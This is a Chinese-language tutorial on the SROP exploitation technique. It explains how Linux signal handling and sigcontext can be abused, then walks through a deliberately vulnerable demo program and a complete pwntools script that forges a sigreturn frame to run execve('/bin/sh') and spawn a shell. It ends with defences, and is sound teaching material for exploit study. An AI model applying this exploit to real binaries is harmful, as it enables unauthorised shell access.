SROP exploit
字数 1505 2025-08-05 08:18:36
SROP (Sigreturn Oriented Programming) 攻击技术详解
1. SROP 技术概述
SROP (Sigreturn Oriented Programming) 是一种利用类Unix系统中信号处理机制的ROP攻击技术。相比传统ROP技术,SROP大大简化了攻击流程,特别是在amd64架构上:
- 传统ROP需要寻找大量gadgets来对寄存器赋值和执行特定操作
- SROP通过利用信号处理机制,可以一次性控制所有寄存器状态
- 无需复杂的gadgets组装过程
2. 技术原理
2.1 Unix信号处理机制
当用户层进程发起signal时,内核会执行以下流程:
- 控制权从用户层切换到内核层
- 内核保存进程的上下文(寄存器状态)到用户栈上
- 将
rt_sigreturn地址压栈 - 跳转到用户层执行Signal Handler
- Signal Handler执行完毕后调用
rt_sigreturn rt_sigreturn执行后,内核恢复之前保存的进程上下文- 控制权交还给用户层进程
2.2 关键数据结构
内核保存的上下文信息存储在ucontext_t结构体中(64位架构):
typedef struct ucontext_t {
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // 该上下文使用的栈
mcontext_t uc_mcontext; // 保存的上下文
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;
其中最重要的是uc_mcontext,它实际上是sigcontext结构体:
struct sigcontext {
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short ss;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union {
struct _fpstate *fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1[8];
};
3. SROP攻击核心思想
利用rt_sigreturn恢复ucontext_t的机制,攻击者可以:
- 构造一个伪造的
ucontext_t结构体 - 通过控制该结构体内容来控制所有寄存器状态
- 特别是控制
rip寄存器实现任意代码执行
4. 利用工具
pwntools提供了方便的SROP构造功能:
from pwn import *
context.arch = "amd64" # 指定架构
# 构造伪造的上下文
frame = SigreturnFrame()
frame.rax = 0 # 系统调用号
frame.rdi = 0 # 第一个参数
frame.rsi = 0 # 第二个参数
frame.rdx = 0 # 第三个参数
frame.rip = 0x12345678 # 控制执行流
特别注意:cs, gs, fs, ss等段寄存器需要正确设置,否则程序无法正常运行:
# 设置段寄存器 (16位值)
frame.csgsfs = (0x002b * 0x1000000000000) |
(0x0000 * 0x100000000) |
(0x0001 * 0x10000) |
(0x0033 * 0x1)
5. 攻击利用步骤
- 控制程序执行流:通过缓冲区溢出等漏洞控制程序执行流程
- 构造ROP链:设置调用
rt_sigreturn的ROP链 - 控制栈布局:在栈上布置伪造的
ucontext_t结构体 - 触发信号处理:执行
rt_sigreturn系统调用(系统调用号15)
6. 实际攻击示例
6.1 漏洞程序分析
示例程序代码(编译时需关闭栈保护):
char global_buf[0x200];
int main() {
asm(
// 读取最多200字节
"mov $0, %%rax \n" // sys_read
"mov $0, %%rdi \n" // fd
"lea %0, %%rsi \n" // buf
"mov $0x200, %%rdx \n" // count
"syscall \n"
// 读取字节数小于ucontext_t结构体则直接exit
"cmp $0xf8, %%rax \n"
"jb exit \n"
// 进行恢复上下文
"mov $0, %%rdi \n"
"mov %%rsi, %%rsp \n"
"mov $15, %%rax \n" // sys_rt_sigaction
"syscall \n"
"jmp exit \n"
/* split */
"nop \n"
"nop \n"
// syscall的symbol,便于查找
"syscall: \n"
"syscall \n"
"jmp exit \n"
// 退出程序
"exit: \n"
"mov $60, %%rax \n"
"mov $0, %%rdi \n"
"syscall \n"
: : "m" (global_buf) :
);
}
安全防护检查:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
6.2 攻击脚本
#!/usr/bin/python2
from pwn import *
context.arch = "amd64"
# context.log_level = "debug"
elf = ELF('./srop')
sh = process('./srop')
# 生成调试文件
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
str_bin_sh_offset = 0x100
# 创建伪造的上下文帧
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 系统调用号59 (execve)
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset # "/bin/sh"字符串地址
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = elf.symbols['syscall'] # 返回到syscall指令
# 发送payload: 伪造的帧 + "/bin/sh"字符串
sh.send(str(frame).ljust(str_bin_sh_offset, 'a') + '/bin/sh\x00')
sh.interactive()
# 删除调试文件
os.system("rm -f pid")
6.3 攻击流程解析
- 程序读取用户输入到
global_buf缓冲区 - 如果输入大小超过
ucontext_t结构体大小(0xf8),则:- 将栈指针指向输入缓冲区
- 调用
rt_sigreturn系统调用(rax=15)
- 攻击者构造的伪造
ucontext_t被恢复:- 设置
rax=59(execve系统调用号) - 设置
rdi指向"/bin/sh"字符串 - 设置
rsi和rdx为0 - 设置
rip指向syscall指令
- 设置
- 系统恢复上下文后执行
execve("/bin/sh", NULL, NULL),获得shell
7. 防御措施
- 栈保护:启用栈金丝雀(Stack Canary)
- 地址随机化:启用ASLR/PIE
- SROP特定防护:
- 内核可以验证
sigcontext结构体的合法性 - 限制
rt_sigreturn只能恢复来自内核的上下文
- 内核可以验证
- 权限控制:使用最小权限原则运行程序
8. 总结
SROP技术通过利用信号处理机制,提供了一种高效的控制所有寄存器的方法。相比传统ROP,它:
- 减少了寻找gadgets的复杂性
- 一次性控制所有寄存器状态
- 特别适合与其他漏洞组合使用
理解SROP技术有助于深入理解Unix信号处理机制和内核与用户空间的交互方式,同时也强调了系统安全防护的重要性。